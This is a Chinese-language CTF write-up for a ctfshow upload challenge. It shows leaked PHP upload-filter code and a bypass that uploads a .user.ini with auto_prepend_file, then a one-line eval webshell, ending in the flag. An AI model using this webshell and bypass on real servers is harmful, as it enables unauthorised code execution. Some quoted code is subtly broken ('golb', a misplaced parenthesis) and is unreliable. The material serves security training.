直接开始进入环境之后,觉得应该是个文件传输漏洞
随便传几个文件,显示错误。
尝试获取网站源码。
通过压缩文件获取,文件后缀名有这些。
rar .zip .7z .tar.gz .bak .txt .old .temp
试了一下.bak可以
打开之后是这样的
<?php
header("content-type:text/html;charset=utf-8");//设置响应的内容类型和字符编码
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name']; //获取上传文件信息,
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
//这些行从全局数组 $_FILES 中获取文件的名称、临时存储位置、大小和上传过程中的错误代码。
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
//使用 pathinfo() 函数获取文件的路径信息,然后从返回的数组中获取文件扩展名。
if ($size > 24){
die("error file zise"); //限制文件大小为24字节
}
if (strlen($filename)>9){
die("error file name"); //限制文件名长度为9
}
if(strlen($ext_suffix)>3){ //文件扩展名限制为3
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
} //检查扩展名是否包含php
if(preg_match("/php/i"),$filename)){
die("error file name"); //检查文件中是否包含php
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
//使用 move_uploaded_file() 函数将临时文件移动到指定目录。如果移动成功,输出成功信息,否则输出失败信息。
?>
我们可以上传一句话木马,可以利用.user.ini文件。
.user.ini文件是一个可选的配置文件,它允许开发者和用户在不修改主 php.ini
文件的情况下自定义 PHP 设置,可以覆盖或添加全局 php.ini
文件中的相应设置。
在文件上传上面的参数有两个,
auto_prepend_file auto_append_file
auto_prepend_file将文件内容包含在每个脚本执行之前执行。包含在每个运行脚本文件顶部
auto_append_file将文件内容包含在每个脚本执行之后之后。包含在每个运行脚本文件的最后
例如:
auto_append_file = /path/to/append.php
先上传.user.ini文件中的内容, 文件中内容是auto_prepend_file=1.txt。然后再上传一句话木马。<?=eval($_POST['is']);这样可以绕过php限制。
利用print_r(golb('*')); 函数这行代码时,它会打印出当前目录下所有文件和目录的列表。
highlight_file()函数访问这一长串文件
highlight_file()
函数用于显示一个文件的内容,同时对 PHP 代码进行语法高亮
ctfshow{1ca2ba7c-5830-45d8-9096-6e59cd10ceaa}